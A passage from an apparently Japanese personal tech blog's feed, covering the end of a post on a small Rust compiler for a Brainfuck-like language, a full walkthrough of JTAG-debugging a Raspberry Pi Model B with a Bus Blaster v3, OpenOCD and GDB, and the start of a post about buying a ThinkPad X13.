    // ...
}

fn while_s&lt;E: emitter::Emitter&gt;(
    emitter: &amp;mut E,
    cond: &amp;Expression,
    body: &amp;Block,
) -&gt; Result&lt;String, CodegenError&gt; {
    match cond {
        Expression::Lhs(Lhs::Dereference(ptr)) =&gt; {
            if ptr != &quot;ptr&quot; {
                Err(CodegenError::InvalidVariableName {
                    name: ptr.to_string(),
                })
            } else {
                let header = emitter.emit_loop_begin();
                let body = block(emitter, body)?;
                let footer = emitter.emit_loop_end();
                Ok(format!(&quot;{}{}{}&quot;, header, body, footer))
            }
        }

        _ =&gt; Err(CodegenError::NotImplemented),
    }
}
```

`expression()` はこんな感じになっています。`Emitter` の `emit_move_ptr()`, `emit_add()`, `emit_call_{putchar,emitter}()` メソッドのラッパのような関数 `move_ptr()`, `add()`, `function_call()` を作り、`Expression` のパターンマッチで対応する関数を呼び出しています。

```rust
fn expression&lt;E: emitter::Emitter&gt;(
    emitter: &amp;mut E,
    tree: &amp;Expression,
) -&gt; Result&lt;String, CodegenError&gt; {
    match tree {
        Expression::AssignAdd(Lhs::Pointer(p), Rhs::Number(n)) =&gt; move_ptr(emitter, p, *n),
        Expression::AssignSub(Lhs::Pointer(p), Rhs::Number(n)) =&gt; move_ptr(emitter, p, -*n),
        Expression::AssignAdd(Lhs::Dereference(p), Rhs::Number(n)) =&gt; add(emitter, p, *n),
        Expression::AssignSub(Lhs::Dereference(p), Rhs::Number(n)) =&gt; add(emitter, p, -*n),
        Expression::FunctionCall(Lhs::Pointer(p)) =&gt; function_call(emitter, p),
        _ =&gt; Err(CodegenError::NotImplemented),
    }
}

fn move_ptr&lt;E: emitter::Emitter&gt;(
    emitter: &amp;mut E,
    ptr: &amp;str,
    offset: i32,
) -&gt; Result&lt;String, CodegenError&gt; {
    if ptr != &quot;ptr&quot; {
        Err(CodegenError::InvalidVariableName {
            name: ptr.to_string(),
        })
    } else {
        Ok(emitter.emit_move_ptr(offset))
    }
}

fn add&lt;E: emitter::Emitter&gt;(emitter: &amp;mut E, ptr: &amp;str, n: i32) -&gt; Result&lt;String, CodegenError&gt; {
    if ptr != &quot;ptr&quot; {
        Err(CodegenError::InvalidVariableName {
            name: ptr.to_string(),
        })
    } else {
        Ok(emitter.emit_add(n))
    }
}

fn function_call&lt;E: emitter::Emitter&gt;(
    emitter: &amp;mut E,
    funcname: &amp;str,
) -&gt; Result&lt;String, CodegenError&gt; {
    match funcname {
        &quot;getchar&quot; =&gt; Ok(emitter.emit_call_getchar()),
        &quot;putchar&quot; =&gt; Ok(emitter.emit_call_putchar()),
        _ =&gt; Err(CodegenError::InvalidFunctionName {
            name: funcname.to_string(),
        }),
    }
}
```

## 全部を組み合わせてみる

必要なものは揃ったので、これらを組み合わせてみます。[`src/bin/chiya.rs`](https://github.com/Tosainu/chiya/blob/54f3e9ba782222477a437d3517e6738ad3261824/src/bin/chiya.rs) をこんな感じに変更しました。標準入力から読んだ文字列を、字句解析、構文解析、コード生成と順番に渡しているだけです。実行時、コマンドラインに `--debug` オプションが付いていたときにはトークン列と構文木を確認できるようにしています。また、[最初に実装した Brainf\*\*k のコンパイル処理](#とりあえず動かしてみる)はせっかくなので `compile_bf()` 関数に切り出してコマンドラインオプション `--bf` の有無で切り替えられるようにしてみました。

```rust
use std::io::Read;

use chiya::codegen::{self, emitter::Emitter, llvm::LLVM};
use chiya::parser;
use chiya::token;

fn main() -&gt; Result&lt;(), failure::Error&gt; {
    let args = std::env::args().collect::&lt;Vec&lt;_&gt;&gt;();

    let debug = args.iter().any(|a| *a == &quot;--debug&quot;);
    let bf = args.iter().any(|a| *a == &quot;--bf&quot;);

    let mut src = String::new();
    std::io::stdin().read_to_string(&amp;mut src)?;

    let e = LLVM::new();

    if bf {
        compile_bf(e, &amp;src)?;
    } else {
        compile(e, &amp;src, debug)?;
    }

    Ok(())
}

fn compile&lt;E: Emitter&gt;(mut e: E, src: &amp;str, debug: bool) -&gt; Result&lt;(), failure::Error&gt; {
    let tokens = token::tokenize(&amp;src)?;
    if debug {
        eprintln!(&quot;tokens: {:?}&quot;, tokens);
    }

    let tree = parser::program(&amp;tokens).ok_or_else(|| failure::format_err!(&quot;parse error&quot;))?;
    if debug {
        eprintln!(&quot;syntax tree:\n{:#?}&quot;, tree.1);
    }

    let code = codegen::gen(&amp;mut e, &amp;tree.1)?;
    println!(&quot;{}&quot;, code);

    Ok(())
}

fn compile_bf&lt;E: Emitter&gt;(mut e: E, src: &amp;str) -&gt; Result&lt;(), failure::Error&gt; {
    // ...
}
```

ではいろいろ動かしてみます。まずは ABC を表示するだけの簡単なものから。

```c
*ptr += 65; // ptr[0] = &apos;A&apos;
putchar();
*ptr += 1;  // &apos;B&apos;
putchar();
*ptr += 1;  // &apos;C&apos;
putchar();
ptr += 1;   // ptr[1] = &apos;\n&apos;
*ptr += 10;
putchar();
```

    $ cargo run -q &lt; ex1 &gt; ex1.ll

    $ lli ex1.ll
    ABC

ループや `getchar()` も使ってみます。0 ~ 9 の値を1つ読み込み、その回数だけ ABC を表示するコードです。

```c
// ptr[0] ~ ptr[3]: 文字
// ptr[4]: ループカウンタ

*ptr += 65;   // ptr[0] = &apos;A&apos;
ptr += 1;     // ptr[1] = &apos;B&apos;
*ptr += 66;
ptr += 1;     // ptr[2] = &apos;C&apos;
*ptr += 67;
ptr += 1;     // ptr[3] = &apos;\n&apos;
*ptr += 10;

ptr += 1;
getchar();
*ptr -= 48;   // ptr[4] -= &apos;0&apos;

while *ptr {
    ptr -= 4;

    putchar();
    ptr += 1;
    putchar();
    ptr += 1;
    putchar();
    ptr += 1;
    putchar();

    ptr += 1;
    *ptr -= 1;    // ptr[4] -= 1
}
```

    $ cargo run -q &lt; ex2 &gt; ex2.ll 

    $ echo -n 2 | lli ex2.ll
    ABC
    ABC
    
    $ echo -n 3 | lli ex2.ll
    ABC
    ABC
    ABC
    
    $ echo -n 5 | lli ex2.ll
    ABC
    ABC
    ABC
    ABC
    ABC
    
    $ echo -n 7 | lli ex2.ll
    ABC
    ABC
    ABC
    ABC
    ABC
    ABC
    ABC

+。:.ﾟ٩(๑＞◡＜๑)۶:.｡+ﾟ

## まとめ

Brainf\*\*k 処理系をきっかけにして生まれたコンパイラ chiya の実装を紹介しました。一部で流行りの自作 C コンパイラなどと比べるととても簡素なものだけれども、個人的には挫折したままになっていたコンパイラ実装をとりあえず達成でき、とてもスッキリしたので良かったなと思っています。また機会があれば、今度は流行りの C や [Linda_pp さんの gocaml](https://github.com/rhysd/gocaml) みたいな関数型言語などより複雑な言語のコンパイラであったり、今回は省略した意味解析フェーズあたりに重みをおいて型・型推論システムの実装などもしてみたいなぁ...

chiya の実装は Rust でなにか書いてみるという目的もあったりしました。実際に書いてみた感想としては、`enum` で構文木がいい感じに表現できたり、`Option&lt;T&gt;` に [`map()`](https://doc.rust-lang.org/std/option/enum.Option.html#method.map), [`and_then()`](https://doc.rust-lang.org/std/option/enum.Option.html#method.and_then), [`or_else()`](https://doc.rust-lang.org/std/option/enum.Option.html#method.or_else) などのメソッドが**ちゃんと**生えていたりなど、C++ と Haskell を触った経験からくる「これ！！！！！！」なポイントがたくさんあってとても気持ちよかったです。実は Rust が話題になり始めた当初、TOML があまり好きじゃないとか `println!()` がマクロだとか[^macro]などのしょうもない理由で避けていたのですが、そんなことで流行に乗り遅れたことを本当に後悔するくらいに良い言語だなと思います。はやくガリガリ書けるようになりたいですね。

[^macro]: プログラミング言語でマクロといわれると C プリプロセッサのイメージがあるので、某所のコードや某 GUI フレームワークなどで散々苦しめられた経験から (╯•﹏•╰) ってなっちゃう</content:encoded></item><item><title>Bus Blaster で Raspberry Pi Model B を JTAG デバッグしてみる</title><link>https://myon.info/blog/2020/07/05/bus-blaster/</link><guid isPermaLink="true">https://myon.info/blog/2020/07/05/bus-blaster/</guid><pubDate>Sun, 05 Jul 2020 00:00:00 GMT</pubDate><content:encoded>JTAG デバッガが欲しくなったので [Bus Blaster v3](http://dangerousprototypes.com/docs/Bus_Blaster) を買いました。

&lt;blockquote class=&quot;twitter-tweet tw-align-center&quot;&gt;&lt;p lang=&quot;ja&quot; dir=&quot;ltr&quot;&gt;Bus Blaster v3 きた (JTAG したくなったので) &lt;a href=&quot;https://t.co/fQRNPmFthV&quot;&gt;pic.twitter.com/fQRNPmFthV&lt;/a&gt;&lt;/p&gt;&amp;mdash; ✧*。ヾ(｡ᐳ﹏ᐸ｡)ﾉﾞ。*✧ (@myon___) &lt;a href=&quot;https://twitter.com/myon___/status/1277843634268721152?ref_src=twsrc%5Etfw&quot;&gt;June 30, 2020&lt;/a&gt;&lt;/blockquote&gt; &lt;script async src=&quot;https://platform.twitter.com/widgets.js&quot; charset=&quot;utf-8&quot;&gt;&lt;/script&gt;

よくある [FT2232H](https://www.ftdichip.com/Products/ICs/FT2232H.htm) が載っているやつですが、[出力側に CPLD をいれる](http://dangerousprototypes.com/docs/Bus_Blaster_v3_design_overview#Buffered_interface)ことで、ターゲットの駆動電圧 (1.5v ~ 3.3v) に合わせたレベル変換やロジック書き換えによる別規格への対応などを実現した、なるほど〜ってなる設計に惹かれました。公式で紹介されている [Seeed Studio の販売ページ](https://www.seeedstudio.com/Bus-Blaster-v3.html) では売り切れだったので、[マルツオンライン](https://www.marutsu.co.jp/pc/i/27355200/)を使いました。

&lt;!--more--&gt;

## Raspberry Pi Model B で使ってみる

ということで早速使ってみます。ターゲットには、手持ちのデバイスで一番遊びやすそうだった Raspberry Pi Model B を選びました。最近の Raspberry Pi はかなり性能・機能が強くなっているようですが、これは初代の Raspberry Pi です。2020年の記事ですが初代です。

### Raspberry Pi と Bus Blaster を接続する

Raspberry Pi Model B に載っている SoC の BCM2835 は、GPIO を入力・出力のほか 6つの Alternate mode が指定でき、そのときの特別な役割が各ピンごとに決められています。これをまとめた表が[ペリフェラルのマニュアル](https://www.raspberrypi.org/documentation/hardware/raspberrypi/bcm2835/BCM2835-ARM-Peripherals.pdf)の Table 6-31 にあります。

JTAG 用のピンも、ある GPIO の Alternate mode として実装されています。今回 JTAG に使う GPIO をまとめるとこんな感じになります。TDI は GPIO26 の Alt4 にもありますが、今回使う Raspberry Pi Model B だと基板上のピンヘッダと繋がっていないため、GPIO4 の Alt5 を使います。

| GPIO | P1 ヘッダのピン番号 | JTAG の役割 | モード | 
| --- | --- | --- | --- |
| - | 1 または 17 | VTref (VTG) | - |
| GPIO22 | 15 | TRST | Alt4 |
| GPIO4 | 7 | TDI | Alt5 |
| GPIO27 | 13 | TMS | Alt4 |
| GPIO25 | 22 | TCK | Alt4 |
| GPIO24 | 18 | TDO | Alt4 |
| - | 6, 9, 14, 20, 25 のどれか | GND | - |

Raspberry Pi の P1 ヘッダの役割は[このページの図](https://elinux.org/RPi_Low-level_peripherals#P1_Header)などがわかりやすいです。これらを参考にしながら Bus Blaster と接続していきます。Bus Blaster は基板上にピンの役割が書いてあるのがいいですね。

![](./IMG_0631.jpg)

![](./IMG_0630.jpg)

Bus Blaster の JP4 に刺さっているジャンパピンは、今回は外したほうが良さそうです。JP4 は Bus Blaster からターゲットに給電する・しないを切り替えるものです。Raspberry Pi は電源供給用の USB Micro-B 端子があるので Bus Blaster からの給電は必要ないですし、Bus Blaster から供給できるのは 3.3v 200mA が最大で Raspberry Pi を動かすには弱いためです。

### `config.txt` から JTAG デバッグを有効にする (失敗)

Raspberry Pi は、CPU が動き始める前に GPU が様々な初期化を行なう不思議な仕様をしているそうです。そのときに読み込まれる設定ファイルが SD カードに置いた [`config.txt`](https://www.raspberrypi.org/documentation/configuration/config-txt/) です。`config.txt` には [GPIO に関する項目](https://www.raspberrypi.org/documentation/configuration/config-txt/gpio.md) もあり、`enable_jtag_gpio=1` と記述すれば JTAG デバッグに必要な GPIO の設定をやってくれるそうです。

しかしリンク先をよく見ると

&gt; ##### `enable_jtag_gpio`
&gt; Setting `enable_jtag_gpio=1` **selects Alt4 mode for GPIO pins 22-27**, and sets up some internal SoC connections, thus enabling the JTAG interface for the ARM CPU. It works on all models of Raspberry Pi.

と書いてあり、今回のように TDI に GPIO 4 を使うことは想定されていなさそうです[^rpicfg]。

実際にこのオプションを設定した Raspberry Pi で [U-Boot](https://github.com/u-boot/u-boot) を起動し、`md` コマンドで GPIO の機能を指定する GPFSELn レジスタ付近 (`0x20200000`) を覗いてみた結果がこれです。GPFSEL2 (`0x20200008`) の値は `0x006db6c8` (`0b011011011011011011001000`) で、確かに GPIO 22-27 に対応したビット `[23:6]` が全て Alt4 (`0b011`) になっています。しかし GPFSEL0 (`0x20200000`) の値は `0x24864024` (`0b100100100001100100000000100100`) で、GPIO 4 に対応したビット `[14:12]` は Alt1 (`0b100`) になっています。残念。

    
    
    U-Boot 2020.07-rc5-00052-g922c6d5d00 (Jun 25 2020 - 23:58:27 +0900)
    
    DRAM:  448 MiB
    RPI Model B rev2 (0xd)
    MMC:   mmc@7e202000: 0
    In:    serial
    Out:   vidconsole
    Err:   vidconsole
    Net:   No ethernet found.
    starting USB...
    Bus usb@7e980000: USB DWC2
    scanning bus usb@7e980000 for devices... 3 USB Device(s) found
           scanning usb for storage devices... 0 Storage Device(s) found
    Hit any key to stop autoboot:  0 
    U-Boot&gt; md 20200000 10  
    20200000: 24864024 00064024 006db6c8 00000000    $@.$$@....m.....
    20200010: 24020004 00000924 00000000 6770696f    ...$$.......oipg
    20200020: 6770696f 6770696f 6770696f 6770696f    oipgoipgoipgoipg
    20200030: 6770696f 0101c1cf 003e001c 00000000    oipg......&gt;.....

[^rpicfg]: &quot;It works on all models of Raspberry Pi.&quot; とは... これ [raspberrypi/firmware](https://github.com/raspberrypi/firmware) とかに報告したら解決したりするかなぁ

`config.txt` では、各 GPIO のモードやプルアップ・プルダウンの設定を細かく指定できるようです。そこで
```
gpio=4=pu,a5
gpio=22,24,25,27=pu,a4
```
と書いてみましたが、これもダメでした。先ほどと同様に U-Boot でレジスタの値を見てみると、GPFSEL2 は `0x0061b0c8` (`0b011000011011000011001000`) で意図したとおりの値になっています。しかし GPFSEL0 は `0x24864024` で GPIO 4 は Alt1 のままです。GPIO 4 のモードは `config.txt` から設定できない (なにか理由があって Alt1 にされている？) みたいです。これまた残念。

    U-Boot&gt; md 20200000 10
    20200000: 24864024 00064024 0061b0c8 00000000    $@.$$@....a.....
    20200010: 24020004 00000924 00000000 6770696f    ...$$.......oipg
    20200020: 6770696f 6770696f 6770696f 6770696f    oipgoipgoipgoipg
    20200030: 6770696f 0a41c1cf 003e001c 00000000    oipg..A...&gt;.....

### JTAG デバッグ有効化のコードを書く

`config.txt` を使った方法がダメだったので、自分で GPIO を設定していきます。GPIO の設定は、上でも軽く触れた BCM2835 の GPIO 周りのレジスタを[ペリフェラルのマニュアル](https://www.raspberrypi.org/documentation/hardware/raspberrypi/bcm2835/BCM2835-ARM-Peripherals.pdf) などを参考にしながら操作していけばよいです。

まずは GPIO 4 のモードを Alt5 にします。GPIO 0 ~ 9 のモードは GPFSEL0 レジスタ (`0x20200000`) で指定します。GPIO 4 に対応するビットは `[14:12]` で、ここを Alt5 を意味する `0b010` に変更すればよいです。C で書くとこんな感じになります。`~(0x7 &lt;&lt; (4 * 3))` との AND をとって `[14:12]` のビットをクリアし、そのあと `0x2 &lt;&lt; (4 * 3)` との OR をとって `0b010` に書き換える、というコードです。

```c
volatile uint32_t* GPFSEL0 = (volatile uint32_t*)0x20200000;

uint32_t sel0 = *GPFSEL0;
sel0 &amp;= ~(0x7 &lt;&lt; (4 * 3)); // GPIO4: ALT5
sel0 |= 0x2 &lt;&lt; (4 * 3);
*GPFSEL0 = sel0;
```

同じように GPIO 22, 24, 25, 27 のモードを Alt4 にします。GPIO 20 ~ 29 のモードは GPFSEL2 レジスタ (`0x20200008`) で指定します。各 GPIO に対応するビットを、今度は Alt4 を意味する `0b011` に変更していきます。

```c
volatile uint32_t* GPFSEL2 = (volatile uint32_t*)0x20200008;

uint32_t sel2 = *GPFSEL2;
sel2 &amp;= ~(0x7 &lt;&lt; (2 * 3)); // GPIO22: ALT4
sel2 |= 0x3 &lt;&lt; (2 * 3);
sel2 &amp;= ~(0x7 &lt;&lt; (4 * 3)); // GPIO24: ALT4
sel2 |= 0x3 &lt;&lt; (4 * 3);
sel2 &amp;= ~(0x7 &lt;&lt; (5 * 3)); // GPIO25: ALT4
sel2 |= 0x3 &lt;&lt; (5 * 3);
sel2 &amp;= ~(0x7 &lt;&lt; (7 * 3)); // GPIO27: ALT4
sel2 |= 0x3 &lt;&lt; (7 * 3);
*GPFSEL2 = sel2;
```

Raspberry Pi は GPIO のプルアップ・プルダウンをプログラマブルに変更できるようです。これを使って、GPIO 4, 22, 24, 25, 27 のプルアップを有効にします。この操作は接続するデバッガによっては不要かもしれませんが、今回は Bus Blaster と接続したピンを全てプルアップしないとうまく動いてくれませんでした。

プルアップ・プルダウンの指定は次の流れで行います。

1. GPPUD レジスタ (`0x20200094`) の下位2ビットに値をセット (プルアップなら `0b10`)
2. 150 サイクルくらい待つ
3. 対象の GPIO に対応した GPPUDCLK0 (`0x20200098`), GPPUDCLK1 (`0x2020009c`) レジスタのビットを立てる
4. 150 サイクルくらい待つ
5. GPPUD, GPPUDCLK0, GPPUDCLK1 をクリア

そして、これに対応するコードはこんな感じになります。

```c
volatile uint32_t* GPPUD = (volatile uint32_t*)0x20200094;
volatile uint32_t* GPPUDCLK0 = (volatile uint32_t*)0x20200098;

*GPPUD = 2;                 // (1)
asm(&quot;   mov r0, #0x96\n&quot;    // (2)
    &quot;1: subs r0, r0, #1\n&quot;
    &quot;   bne 1b&quot;
    : : : &quot;r0&quot;, &quot;cc&quot;);
*GPPUDCLK0 = (1 &lt;&lt; 4) | (1 &lt;&lt; 22) | (1 &lt;&lt; 24) | (1 &lt;&lt; 25) | (1 &lt;&lt; 27);  // (3)
asm(&quot;   mov r0, #0x96\n&quot;    // (4)
    &quot;1: subs r0, r0, #1\n&quot;
    &quot;   bne 1b&quot;
    : : : &quot;r0&quot;, &quot;cc&quot;);
*GPPUD = 0;                 // (5)
*GPPUDCLK0 = 0;
```

このコードをデバッグしたいベアメタルなアプリケーションに組み込めば、それが実行された時点からデバッグできるようになります。JTAG 有効化だけを行なうものを SD カードに入れておいて、アプリケーションは常に JTAG 経由でを流し込む、といった使い方もアリだと思います。自分は試していないですが、U-Boot にこれらのコードを組み込むなどすれば、実装したベアメタルアプリケーションはもちろん、Linux カーネルなんかも起動時からデバッグできたりするかもしれません。

### OpenOCD と GDB でデバッグしてみる

ハード側の準備ができたので今度はソフトの準備です。今回は OpenOCD と GDB を使ってみます。GDB はおなじみのデバッグツールで、OpenOCD は接続した JTAG デバッガと GDB の橋渡しをしてくれるものです。どちらも Arch Linux 上で `pacman` からインストールしたものを使いました。バージョンはこんな感じです。

    $ sudo pacman -S openocd arm-none-eabi-gdb
    
    $ openocd -v    
    Open On-Chip Debugger 0.10.0
    Licensed under GNU GPL v2
    For bug reports, read
    	http://openocd.org/doc/doxygen/bugs.html
    
    $ arm-none-eabi-gdb --version
    GNU gdb (GDB) 9.2
    Copyright (C) 2020 Free Software Foundation, Inc.
    License GPLv3+: GNU GPL version 3 or later &lt;http://gnu.org/licenses/gpl.html&gt;
    This is free software: you are free to change and redistribute it.
    There is NO WARRANTY, to the extent permitted by law.

OpenOCD は、[User&apos;s Guide](http://openocd.org/doc/html/Running.html#Simple-setup_002c-no-customization) にあるように、JTAG デバッガとターゲットに関する2つの設定ファイル ([Jim-Tcl](http://openocd.org/doc/html/About-Jim_002dTcl.html#About-Jim_002dTcl) スクリプト) を `-f` オプションで渡してやるだけで起動します。Bus Blaster の設定ファイルは OpenOCD に含まれていて `interface/ftdi/dp_busblaster.cfg` を指定すれば良さそうです。一方 Raspberry Pi の設定ファイルは含まれていないため、別途用意が必要です。今回は[BareMetalで遊ぶ　Raspberry Pi](https://tatsu-zine.com/books/raspi-bm) でも紹介されていた [`raspi.cfg`](https://github.com/dwelch67/raspberrypi/blob/master/armjtag/raspi.cfg) に、[`arm11 memwrite burst disable`](http://openocd.org/doc/html/Architecture-and-Core-Commands.html#ARM11-specific-commands) を追記したものを使いました。自分の環境ではこれを追記しないと、GDB での各操作が不安定だったり、libc などをリンクした少し大きめのバイナリを `load` させると失敗するなどの症状がありました。

```tcl
# Broadcom 2835 on Raspberry Pi

telnet_port 4444
#gdb_port 0
#tcl_port 0

#jtag_khz 1000
adapter_khz 1000

#jtag_nsrst_delay 400
#jtag_ntrst_delay 400

if { [info exists CHIPNAME] } {
   set  _CHIPNAME $CHIPNAME
} else {
   set  _CHIPNAME raspi
}

reset_config none

if { [info exists CPU_TAPID ] } {
   set _CPU_TAPID $CPU_TAPID
} else {
   set _CPU_TAPID 0x07b7617F
}
jtag newtap $_CHIPNAME arm -irlen 5 -expected-id $_CPU_TAPID

set _TARGETNAME $_CHIPNAME.arm
target create $_TARGETNAME arm11 -chain-position $_TARGETNAME

arm11 memwrite burst disable
```

`interface/ftdi/dp_busblaster.cfg` および修正した `raspi.cfg` を OpenOCD 起動時に渡してやり、こんな感じのメッセージが出たら成功です。

    $ openocd -f interface/ftdi/dp_busblaster.cfg -f raspi.cfg
    Open On-Chip Debugger 0.10.0
    Licensed under GNU GPL v2
    For bug reports, read
    	http://openocd.org/doc/doxygen/bugs.html
    Info : If you need SWD support, flash KT-Link buffer from https://github.com/bharrisau/busblaster
    and use dp_busblaster_kt-link.cfg instead
    adapter speed: 1000 kHz
    none separate
    Info : auto-selecting first available session transport &quot;jtag&quot;. To override use &apos;transport select &lt;transport&gt;&apos;.
    Info : memory write burst mode is disabled
    Info : clock speed 1000 kHz
    Info : JTAG tap: raspi.arm tap/device found: 0x07b7617f (mfg: 0x0bf (Broadcom), part: 0x7b76, ver: 0x0)
    Info : found ARM1176
    Info : raspi.arm: hardware has 6 breakpoints, 2 watchpoints

OpenOCD が起動すると、GDB server が 3333 ポートで 立ち上がります。これに GDB から `target remote localhost:3333` で接続すればデバッグの準備は完了です。下の実行例で渡している `-q` オプションは GDB 起動時に表示されるバージョン等を非表示にするもので、`blink.elf` が今回デバッグしようとしているプログラムです。

    $ arm-none-eabi-gdb -q blink.elf
    Reading symbols from blink.elf...
    (gdb) target remote localhost:3333
    Remote debugging using localhost:3333
    main () at main.cc:21
    21	  for (;;)
    (gdb)

たまに `target ...` で接続したあとプログラムカウンタが正しく表示されないことがあります。そのときは一旦 `continue` (またはその省略形 `c`) で実行を再開させたあと Ctrl-C で中断すればなおるようです。

    (gdb) target remote localhost:3333
    Remote debugging using localhost:3333
    0x00000000 in ?? ()
    (gdb) c
    Continuing.
    WARNING! The target is already running. All changes GDB did to registers will be discarded! Waiting for target to halt.
    ^C
    Program received signal SIGINT, Interrupt.
    main () at main.cc:21
    21	  for (;;)
    (gdb)

あとはだいたいいつも通りの GDB の操作ができるほか、`load` コマンドでプログラムを再転送できたりします。

    (gdb) load
    Loading section .text, size 0x69228 lma 0x8000
    Loading section .rodata, size 0x763c lma 0x71228
    Loading section .ARM.extab, size 0x4b70 lma 0x78864
    Loading section .ARM.exidx, size 0x3500 lma 0x7d3d4
    Loading section .init_array, size 0x1c lma 0x808d4
    Loading section .fini_array, size 0x4 lma 0x808f0
    Loading section .data, size 0xab0 lma 0x808f8
    Start address 0x00008000, load size 496548
    Transfer rate: 30 KB/sec, 14187 bytes/write.
    (gdb) 


## おわり

JTAG デバッガ Bus Blaster v3 を使って Raspberry Pi Model B をデバッグしてみる例を紹介しました。マイコンの解析やデバッグがとても便利になるツールが比較的安価で手に入るのはよいですね。

今回 JTAG デバッガが欲しくなったのは、JTAG を使ったデバッグはあまりやったことがなく試してみたくなった[^jtag]のと、いろいろあって Raspberry Pi のベアメタルアプリケーションを書いていてどうしてもわからなかったバグ[^bug][^ochi]を調べたかったのが理由です。せっかく興味を持って取り組んでいたジャンルなので、これをきっかけにもっと突き詰めてみたいですし、いずれは謎デバイスの解析とかもやってみたいなと思います。

[^jtag]: FPGA を触っていたときビットストリームやプログラムの転送にはよく使っていたけど、デバッグはあまりやらなかった
[^bug]: `float` や `double` の値を `printf` などで表示しようとするとその値がおかしいというもの。[これ](https://sourceware.org/legacy-ml/crossgcc/2010-10/msg00147.html) とおそらく同じもので、スタックポインタの初期値が悪く ARM EABI の[関数呼び出し時のスタックポインタが 8 byte でアラインされていること](https://wiki.debian.org/ArmEabiPort#Stack_alignment)というルールが守れていなかったのが原因だった
[^ochi]: ちなみにこのバグは Bus Blaster を発注したあとすぐに原因がわかってしまったというオチがあります

## 関連リンク

- [BareMetalで遊ぶ　Raspberry Pi - 達人出版会](https://tatsu-zine.com/books/raspi-bm)
- [BCM2835 - Raspberry Pi Documentation](https://www.raspberrypi.org/documentation/hardware/raspberrypi/bcm2835/README.md)
    - [BCM2835 ARM Peripherals](https://www.raspberrypi.org/documentation/hardware/raspberrypi/bcm2835/BCM2835-ARM-Peripherals.pdf)
- [RPi Low-level peripherals - eLinux.org](https://elinux.org/RPi_Low-level_peripherals)
- [OpenOCD User’s Guide: Top](http://openocd.org/doc/html/index.html)</content:encoded></item><item><title>ThinkPad X13 を買いました</title><link>https://myon.info/blog/2020/09/01/thinkpad-x13/</link><guid isPermaLink="true">https://myon.info/blog/2020/09/01/thinkpad-x13/</guid><pubDate>Tue, 01 Sep 2020 00:00:00 GMT</pubDate><content:encoded>ノートパソコンを買いました。ThinkPad X13 Gen1 (AMD) です。4連休のセールをやっていた 7/26 に注文し 8/7 に届きました。たぶんかなり早く届いた方だと思います。

&lt;blockquote class=&quot;twitter-tweet tw-align-center&quot; data-dnt=&quot;true&quot;&gt;&lt;p lang=&quot;ja&quot; dir=&quot;ltr&quot;&gt;ヾ(๑╹◡╹)ﾉ&amp;quot; &lt;a href=&quot;https://t.co/65gU0z5zUU&quot;&gt;pic.twitter.com/65gU0z5zUU&lt;/a&gt;&lt;/p&gt;&amp;mdash; ✧*。ヾ(｡ᐳ﹏ᐸ｡)ﾉﾞ。*✧ (@myon___) &lt;a href=&quot;https://twitter.com/myon___/status/1291559008206073856?ref_src=twsrc%5Etfw&quot;&gt;August 7, 2020&lt;/a&gt;&lt;/blockquote&gt; &lt;script async src=&quot;https://platform.twitter.com/widgets.js&quot; charset=&quot;utf-8&quot;&gt;&lt;/script&gt;

今まで使っていたノートは2012年5月購入の [VAIO Z2 (VPCZ23AJ)](https://www.sony.jp/vaio/products/Z23/) で、[デスクトップを組み立てた](/blog/2013/01/05/entry/)のも2013年1月なので、新しいパソコンは約8年ぶりです。わいわい。

&lt;!--more--&gt;

## 立て続けに PC が不調に...

上にちょっと書いたように、ここ何年かは VAIO Z2 とデスクトップ機を適当に使い分ける生活をしていました。

| | VAIO Z2 | デスクトップ |
| --- | --- | --- |
| CPU | [Intel Core i7-2640M](https://ark.intel.com/content/www/us/en/ark/products/53464/intel-core-i7-2640m-processor-4m-cache-up-to-3-50-ghz.html) | [Intel Core i7-3930K](https://ark.intel.com/content/www/us/en/ark/products/63697/intel-core-i7-3930k-processor-12m-cache-up-to-3-80-ghz.html) |
| RAM | DDR3 1333MHz 4GB x 2 | DDR3 1600MHz 8GB x 4 |
| GPU | Intel HD Graphics 3000 | NVIDIA GeForce 660 Ti |
| ストレージ | 64GB SSD x2 (RAID 0) | 256GB SSD&lt;br /&gt;3TB &amp; 4TB HDD (一部ミラーリング[^mirror]) |
| 主な用途 | 基本何でも | ノートで辛い開発&lt;br /&gt;複数の VM を使った検証&lt;br /&gt;データのバックアップ |

[^mirror]: &lt;https://twitter.com/myon___/status/1086778627000172544/&gt;

どちらも8年前のマシンなので最新のものと比べるとスペックは劣りますが、自分の普段の作業ではそんなに困ることはなく、今すぐ PC を買い換えようとは思っていませんでした。もちろん、試してみたくなったツールが AVX2 を要求してきて悲しくなったり、最新の高速ストレージを試したくなったりもしましたが、今は必要があれば大学の環境を使えたりもするので、買い換えるとしてもあと1年先かなという感じでした。

そんな思いでいましたが、数ヶ月前から立て続けに手持ちの PC の調子が悪くなってしまいました。

まず今年春くらいから、ノートで負荷をかけると接続している AC アダプタが一瞬認識されなくなるのを繰り返すようになってしまいました。バッテリは安定して充電されず、使い方によっては AC アダプタを接続しているのに残量がどんどん減っていく状態でした。トラブったときの応急処置「バラして掃除」も今回は効果なく、電源まわりが不調のまま使い続けるのは不安なのでデスクトップ中心に切り替えることにしました。

こうしてデスクトップをメインにして数週間たったころ、今度はマシンの排気からかすかに焼けた感じのニオイがするのに気づきます。マザーボードの VRM あたりの一部がニオイの発生源でした。軽く確認した感じでは基板上のパーツに損傷はなく、溜まったホコリか何かに熱が加わっただけかなとも思っていますが、何かあっても困るのでこれも使用を中断することにしました。

それからは、マザボと CPU を別マシンから持ってきたパーツに入れ替えたデスクトップ機を使っていました。CPU は [i3-3220](https://ark.intel.com/content/www/us/en/ark/products/65693/intel-core-i3-3220-processor-3m-cache-3-30-ghz.html) です。当時クロスコンパイラをビルドしたり、とあるソフトウェアをビルド設定まわり調整のため何度もビルドするといった作業が集中していたこともあり、この変更は作業効率に響くとても痛いものでした。

